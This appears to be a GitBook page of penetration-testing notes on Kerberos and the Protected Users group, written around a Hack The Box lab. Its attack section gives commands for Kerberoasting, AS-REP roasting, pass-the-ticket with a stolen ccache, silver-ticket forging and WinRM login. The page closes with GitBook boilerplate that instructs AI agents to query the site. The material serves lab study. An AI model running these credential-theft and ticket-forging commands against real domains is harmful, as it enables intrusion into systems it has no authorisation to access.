> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/kerberos-authentication-and-protected-users.md).

# Kerberos Authentication & Protected Users

### What is Kerberos?

Kerberos is the default authentication protocol in Active Directory environments. Instead of sending passwords over the network, it uses encrypted tickets issued by a Key Distribution Centre (KDC), which runs on the Domain Controller.

### How Kerberos Works (Simplified)

```
Client          KDC (DC)            Service
  │                │                   │
  │─AS-REQ────────►│                   │
  │  (username)    │                   │
  │                │                   │
  │◄─AS-REP───────│                   │
  │  (TGT ticket)  │                   │
  │                │                   │
  │─TGS-REQ───────►│                   │
  │  (TGT + SPN)   │                   │
  │                │                   │
  │◄─TGS-REP───────│                   │
  │  (Service ticket)                  │
  │                                    │
  │─AP-REQ────────────────────────────►│
  │  (Service ticket)                  │
  │                                    │
  │◄─AP-REP────────────────────────────│
```

* **TGT** (Ticket Granting Ticket) — proves your identity to the KDC
* **TGS** (Ticket Granting Service) — grants access to a specific service
* **ccache** — the file that stores your Kerberos tickets on Linux

### Clock Skew

Kerberos requires your clock to be within **5 minutes** of the Domain Controller. If the skew is larger, authentication fails with a clock skew error.

On HTB boxes, the DC often runs in a different timezone or is deliberately offset.

```bash
# Check the skew
sudo ntpdate -q 10.129.x.x
# Output: offset +25200.xx  (25200 seconds = 7 hours)

# Sync your clock to the DC
sudo ntpdate 10.129.x.x

# Or use faketime to fake the offset without changing system clock
faketime -f +7hr bash
# All commands inside this shell run with +7hr fake time
```

### Getting a TGT on Linux

```bash
# Set krb5 config (tells Kerberos where the KDC is)
export KRB5_CONFIG=$PWD/nanocorp.krb5.conf

# Request TGT
impacket-getTGT domain.htb/username:'password' -dc-ip 10.129.x.x
# Saves to username.ccache

# Tell tools to use this ticket
export KRB5CCNAME=$PWD/username.ccache

# Verify it works
nxc smb dc01.domain.htb -k --use-kcache
klist  # list tickets
```

#### krb5.conf format

```ini
[libdefaults]
    default_realm = DOMAIN.HTB
    dns_lookup_kdc = false

[realms]
    DOMAIN.HTB = {
        kdc = dc01.domain.htb
        admin_server = dc01.domain.htb
    }

[domain_realm]
    .domain.htb = DOMAIN.HTB
    domain.htb = DOMAIN.HTB
```

Generate automatically with nxc:

```bash
nxc smb dc01.domain.htb -u user -p 'pass' --generate-krb5-file domain.krb5.conf
```

### What is a Protected User?

Protected Users is a security group in Active Directory. Members get extra protections that make credential theft significantly harder.

#### Restrictions for Protected Users

| Restriction            | Effect                                 |
| ---------------------- | -------------------------------------- |
| No NTLM authentication | Can only authenticate via Kerberos     |
| No RC4 encryption      | Only AES Kerberos tickets              |
| No credential caching  | No cached logon when DC is offline     |
| No delegation          | Cannot be used for Kerberos delegation |
| TGT lifetime limited   | Max 4 hours, non-renewable             |

#### Why it matters for attackers

```bash
# This FAILS for Protected Users — NTLM is blocked
nxc smb dc01.domain.htb -u monitoring_svc -p 'password'
# → STATUS_ACCOUNT_RESTRICTION

# This WORKS — Kerberos is allowed
impacket-getTGT domain.htb/monitoring_svc:'password'
nxc smb dc01.domain.htb -k --use-kcache
# → [+] DOMAIN\monitoring_svc from ccache
```

#### How to check if a user is Protected

```powershell
# On Windows
Get-ADGroupMember "Protected Users"

# Check a specific user's group membership
Get-ADUser monitoring_svc -Properties MemberOf | Select -Expand MemberOf
```

```bash
# From Linux with bloodyAD
bloodyAD -d domain.htb --host dc01.domain.htb \
  -u user -p 'pass' \
  get object monitoring_svc --attr memberOf
```

### Common Kerberos Attacks

#### Kerberoasting

Request service tickets for accounts with SPNs — the ticket is encrypted with the service account's password hash, which you can crack offline.

```bash
impacket-GetUserSPNs domain.htb/user:'pass' -dc-ip 10.x.x.x -request
hashcat -m 13100 hashes.txt rockyou.txt
```

#### AS-REP Roasting

Accounts with pre-authentication disabled send an AS-REP that contains crackable data.

```bash
impacket-GetNPUsers domain.htb/ -usersfile users.txt -dc-ip 10.x.x.x
hashcat -m 18200 hashes.txt rockyou.txt
```

#### Pass the Ticket

Steal a `.ccache` file and use someone else's ticket.

```bash
export KRB5CCNAME=/path/to/stolen.ccache
nxc smb target -k --use-kcache
```

#### Silver Ticket

Forge a service ticket using a service account's NTLM hash — no need to contact the KDC.

```bash
impacket-ticketer -nthash <hash> -domain-sid <SID> \
  -domain domain.htb -spn cifs/dc01.domain.htb Administrator
```

### Connecting via WinRM with Kerberos

```bash
# winrmexec (works with SSL + Kerberos — evil-winrm sometimes fails)
git clone https://github.com/ozelis/winrmexec
python3 evil_winrmexec.py dc01.domain.htb -k -no-pass -ssl

# evil-winrm (standard, no SSL issues)
evil-winrm -i dc01.domain.htb -r domain.htb \
  -u user --password 'pass'
```

### Summary — NanoCorp Kerberos Flow

```
1. Sync clock to DC (ntpdate)
2. Generate krb5.conf (nxc --generate-krb5-file)
3. Request TGT for monitoring_svc (impacket-getTGT)
4. Export KRB5CCNAME to point at .ccache file
5. Connect via winrmexec using cached ticket
```

Protected Users blocked NTLM — forcing Kerberos. Clock skew blocked Kerberos — forcing clock sync first. Both obstacles are common on real engagements.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/kerberos-authentication-and-protected-users.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.